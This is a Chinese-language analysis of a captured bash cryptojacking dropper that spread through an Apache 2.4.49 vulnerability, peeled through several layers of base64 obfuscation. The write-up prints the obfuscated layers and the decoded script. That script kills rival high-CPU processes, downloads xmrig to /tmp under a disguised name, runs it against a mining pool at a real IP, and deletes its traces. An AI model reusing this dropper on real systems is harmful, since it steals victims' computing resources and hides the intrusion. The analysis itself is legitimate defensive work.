捕获挖矿脚本分析
(1)详细说明
近日我捕获到一个利用Apache2.4.49漏洞(CVE-2021-41773)传播xmrig-6.14.1-linux-static-x64挖矿脚本的最新样本。样本文件名为aaa,file命令判断为ASCII脚本。如下图所示:
直接cat该文件
(2)样本分析
I. 该bash脚本经过混淆,将eval改为print,调试脚本
第一遍运行得到
bash -c "$(base64 -d <<< "\YmFzaCAtYyAiJChiYXNlNjQgLWQgPDw8ICJcClltRnphQ0F0WXlBaUpDaGlZWE5sTmpRZ0xXUWdQRHc4SUNKY0NsbHRSbnBoUTBGMFdYbEJhVXBEYUdsWldFNXNUbXBSWjB4WFVXZFEKUkhjNFNVTktZME5zYkhSU2JuQm9VVEJHTUZkWWJFSmhWWEJFWVVkc1dsZEZOWE5VYlhCU1dqQjRXRlZYWkZFS1VraGpORk5WVGt0WgpNRTV5WWtSV1UxZEdjR0ZaYkdRMFRWWlNSVlJyT1dsTlJUVXhWVmMxZDFOc1NYZFhXR2hoVmxVMVJGUXdWbk5UUm5CSllrZEZTMVl3ClZrZGliRkpIWVVkR1RncE5SM2hKV2xWb1lWbFZNVlZpUkZaYVlXczFWRmxWWkU5a1IwVjZZa1Z3VkZOSFVuVldNVnB2WVRKT2NtSkYKVW1GU1IxSnZWbXBHYzJSc1RuSlZhelZNVFVSV1JsVldhRlpUTVZKV0NsUnVTbUZOYXpWS1ZUSTFRMkZSY0dsaVJWcDFWVEowVTFNdwpPVlpqUkZaU1ZUTlNTMVZZY0hKa01XeHpZVVZLYTJKVk5VcFZNalZoVjIxV1ZsSnVVbFJpVjNoRVZGUktSMU5IU2trS1ZHMUdWazFGCmJ6RldNbmhyVWpKRmQySkZiRkppYlhod1ZGZHpNV1F4WkhKVmJuQmhUVmhDU1VOck9VaGFSMmhPWWxob05sZFhkRTlSYlZKQ1kwWkMKVmsxRldubFhWRUp2VXpKU2N3cGhNMnhwVWpOU1VWcFdWa3RqYkd4eFUxUkdhVkpYZUVaYVJFcHJWRlV3ZUZOcVFscE5SVEF4V2t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lVV bkJSTW1NNVVGTkpjRWxwUW1sWldFNXZTVU5KYTFGRFNVc2lLU0lnWW1GemFDQWlKRUFpQ2c9PSIp IiBiYXNoICIkQCIK")" bash "$@"
III. 提取其中base64,去掉换行符,解base64继续运行得到
bash -c "$(base64 -d <<< "\ YmFzaCAtYyAiJChiYXNlNjQgLWQgPDw8ICJcClltRnphQ0F0WXlBaUpDaGlZWE5sTmpRZ0xXUWdQ RHc4SUNKY0NrbDVSWFpaYld4MVRETk9iME51UW5wSlIwWXhaVU5DT0VsSFpIbGEKV0VGblRGaGFN MGxIZUhaYU1UbDVZak5TYUdOdGEzbEpTSGRuV1Zoa2NrbERaRGRoVjFsdlNrUk5LMDVFUVhVS1RV TnJaMk5JU25CaQpibEZuU2tSS09VcDVRU3RKUXprd1lsaEJkbU5JU25aWmVVRnRTbWxDTTJGSGJI TmFVMEo1V2xkR2EwbElRbmxpTWs1d1drUnpaMXBICk9HZGhNbXh6WWtOQmRBcFBVMEZyWTBoS2Rs a3liR3RQZVVKcllqSTFiRWxFZDJkTU0xSjBZME01ZDJOdE9XcERia0o2U1VNeGJWcFQKUWpoSlIy UjVXbGhCWjB4WVkyZGlSemx1V0ROS2RtUkhSbmxoVkVsbkNtWkRRbTVqYlZaM1NVTXhNa2xIWkhs YVdFRkxZVmRaWjFkNQpRV3RRZVVGMFdsaEZaMDFEUW1SRGJsSnZXbGMwUzJOSVpHdERiVlp6WXpK VlMyUlhlSEJpVjJ3d1NVTXhkVWxFV1RFS1RsUk5NVU50ClRqRmpiWGRuVEZNeGVWcFlUblppU0Zw c1NVZGtjR1JIYURGWmFUVnFZakl3Tms1RVVYcFBha1V3VFVNME5FMXBOSGhOYWtWMVRrTkIKZEdK NVFYWmtSekYzVERKNGRncGFNVGw1WWpOU2FHTnRhM2xNYmxKb1kyazFibVZwUVhSVVEwSnZaRWhT ZDJONmIzWk1NbVJ3WkVkbwpNVmxwTldwaU1qQjJaVWN4ZVdGWFkzWmxSekY1WVZkamRtTnRWbk5h VjBaNkNscFlUWFphUnprelltMTRkbGxYVVhaa2FsbDFUVlJSCmRVMVRPVFJpV0Vwd1dua3dNa3hx UlRCTWFrVjBZa2RzZFdSWVozUmpNMUpvWkVkc2FreFlaekpPUXpVd1dWaEpkVm96YjJjS1EyMU8K YTBsRE9UQmlXRUZMWkVkR2VVbElhREphYm05bllrYzVibGd6U25aa1IwWjVZVlJKZFdSSFJubE1i V1EyUTIxT2EwbElhSFJqYld4dQpURlJaZFUxVVVYVk5VWEIwWkdsQ05BcGlXRXB3V25sQ2MySXla R1pqYlRrd1dWaEtjRTFuY0dwaFJ6RjJXa05CTTA1NlkyZGlSemx1CldETktkbVJIUm5saFZFbExU R2s1YzJJeVpHWmpiVGt3V1ZoS2NFMXBRWFJNVjA1MkNtRlhOR2RpVnpsMVdsaEtka2xETVhaSlJF VXcKVFZNMGVFMUVWWFZPYWxWMVRWUkJORTlxVFhwTmVrMW5URmhWWjJKSGJIVmtXR2RuVEZoQloy SkhiSFZrV0dkblRGTXhkV0ZYVG13SwpZVWRHZW1GRFFYUk1WMUoyWW0xR01GcFRNWE5hV0Zwc1lr UXdkMGxETUhSWk0wSXhURmhDZVdGWE9YbGhXRkkxVUZSVlowbERNWEpKClF6RkRTVVEwZGxwSFZq Sk1NalV4WWtkM1p3cEtaM0I2WWtkV2JHTkRRWGhOUkVGM1EyNUtkRWxETVhsYWFVRjJaRWN4ZDB3 emFIUmoKYld4dVRGUlpkVTFVVVhWTlVYQjVZbE5CZEdOdFdXZE1NMUowWTBNNWMySXlaR1pqYlRr d0NsbFlTbkJOYVRVd1dWaEpkVm96YjB0YQpiV3RMV2xkT2IySjVRV2xqYmxaMVlWYzFia3hwTkhW TWFUUnBRMmM5UFNJcElpQmlZWE5vSUNJa1FDSUsiKSIgYmFzaCAiJEAiCg==")" bash "$@"
IV. 提取其中base64,去掉换行符,解base64继续运行得到
bash -c "$(base64 -d <<< "\ YmFzaCAtYyAiJChiYXNlNjQgLWQgPDw8ICJcCkl5R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MgLXUgbGludXggLXAgbGludXggLS1uaWNl aGFzaCAtLWRvbmF0ZS1sZXZlbD0wIC0tY3B1LXByaW9yaXR5PTUgIC1rIC1CID4vZGV2L251bGwg JgpzbGVlcCAxMDAwCnJtIC1yZiAvdG1wL3htcmlnLTYuMTQuMQpybSAtcmYgL3RtcC9sb2dfcm90 YXJpMi50YXIuZ3oKZmkKZWNobyAicnVuaW5nLi4uLi4iCg==")" bash "$@"
VI. 提取其中base64,去掉换行符,解base64继续运行得到
#!/bin/sh ps aux | grep -vw log_rotari2 | awk '{if($3>40.0) print $2}' > /tmp/proc && while read procid; do kill -9 $procid; done < /tmp/proc ps -fe | grep -w log_rotari2 | grep -v grep if [ $? -eq 0 ] then pwd else ulimit -n 65535 curl --resolve github.com:443:140.82.121.4 -o /tmp/log_rotari2.tar.gz -L https://github.com/xmrig/xmrig/releases/download/v6.14.1/xmrig-6.14.1-linux-static-x64.tar.gz cd /tmp tar xvfz log_rotari2.tar.gz cd xmrig-6.14.1 mv xmrig log_rotari2 chmod 777 log_rotari2 ./log_rotari2 --coin monero -o 141.105.65.108:3333 -u linux -p linux --nicehash --donate-level=0 --cpu-priority=5 -k -B >/dev/null & sleep 1000 rm -rf /tmp/xmrig-6.14.1 rm -rf /tmp/log_rotari2.tar.gz fi echo "runing....."
VII.共解六次base64,获取明文命令,查看命令,发现下载了https://github.com/xmrig/xmrig/releases/download/v6.14.1/xmrig-6.14.1-linux-static-x64.tar.gz 挖矿脚本并连接地址141.105.65.108:3333